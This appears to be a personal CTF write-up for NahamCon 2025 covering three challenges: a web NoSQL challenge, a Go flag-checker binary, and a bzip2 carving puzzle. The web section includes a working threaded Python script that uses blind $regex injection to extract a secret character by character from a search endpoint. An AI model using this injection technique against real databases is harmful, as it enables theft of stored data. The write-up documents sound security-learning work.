NahamCon 2025 CTF
Solutions for some challenges from NahamCon 2025 CTF.
I played the CTF with my friends over at FetchOrbisX :D
Only got to play for a few hours over the weekend, but I had fun solving a few of them.
NoSequel (Web)
This challenge about querying NoSQL to obtain the flag from the flag
collections. We’re only able to use $regex
on the flag
collection, so we can’t get the query’s output directly. Instead, we can use $regex
to match the flag character-by-character.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import string
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
charset = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
url = 'http://challenge.nahamcon.com:32707/search'
flag = "flag{"
lock = threading.Lock()
def test_char(char, current_flag):
attempt = current_flag + char
payload = {
"query": f'flag:{{$regex:"^{attempt}"}}',
"collection": "flags"
}
try:
response = requests.post(url, data=payload)
if "Pattern matched" in response.text:
return char
except Exception:
pass
return None
def find_next_char(current_flag):
with ThreadPoolExecutor(max_workers=20) as executor:
futures = {executor.submit(test_char, c, current_flag): c for c in charset}
for future in as_completed(futures):
result = future.result()
if result:
return result
return None
while True:
sys.stdout.write(f"\r[*] Current flag: {flag}")
sys.stdout.flush()
next_char = find_next_char(flag)
if next_char:
flag += next_char
print(f"\r[+] Found: {flag}")
if next_char == "}":
print(f"[✓] Final flag: {flag}")
break
else:
print("\n[!] No matching character found. Exiting.")
break
FlagsFlagsFlags (Reversing)
This is a flag checker challenge, and we’re given a stripped go binary. If we run strings
on it, we’ll see a huge bunch of flags (literally about 100k). I didn’t want to reverse the challenge’s flag checking logic, and based on the challenge description, it was a pretty good guess that one of these flags would be the answer.
So, we brute-forced. 🦍🦍🦍
Get the flags:
1
strings flagsflagsflags | grep -oE 'flag\{[0-9a-fA-F]+\}' > flags.txt
Brute force go brrr
1
cat flags.txt | xargs -n1 -P8 -I{} sh -c 'echo "Trying {}"; echo {} | ./flagsflagsflags | grep -v "Incorrect\|Enter"' | tee -a flags.log
flag{20dec9363618a397e9b2a0bf5a35b2e3}
The Martian (Misc)
Jumbled file, stego challenge. There are multiple bzip2 blobs in the file, shown by BZh header. Make chatgpt write a script to carve the blobs then one of them has the flag image.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import bz2
with open("challenge.martian", "rb") as f:
data = f.read()
# Look for BZip2 header
marker = b'BZh91AY&SY'
start = data.find(marker)
if start != -1:
with open("image.bz2", "wb") as f_out:
f_out.write(data[start:])
with open("image.bz2", "rb") as f:
decompressed = bz2.decompress(f.read())
with open("extracted_image.jpg", "wb") as f:
f.write(decompressed)
print("Image saved as extracted_image.jpg")
else:
print("No BZip2 header found.")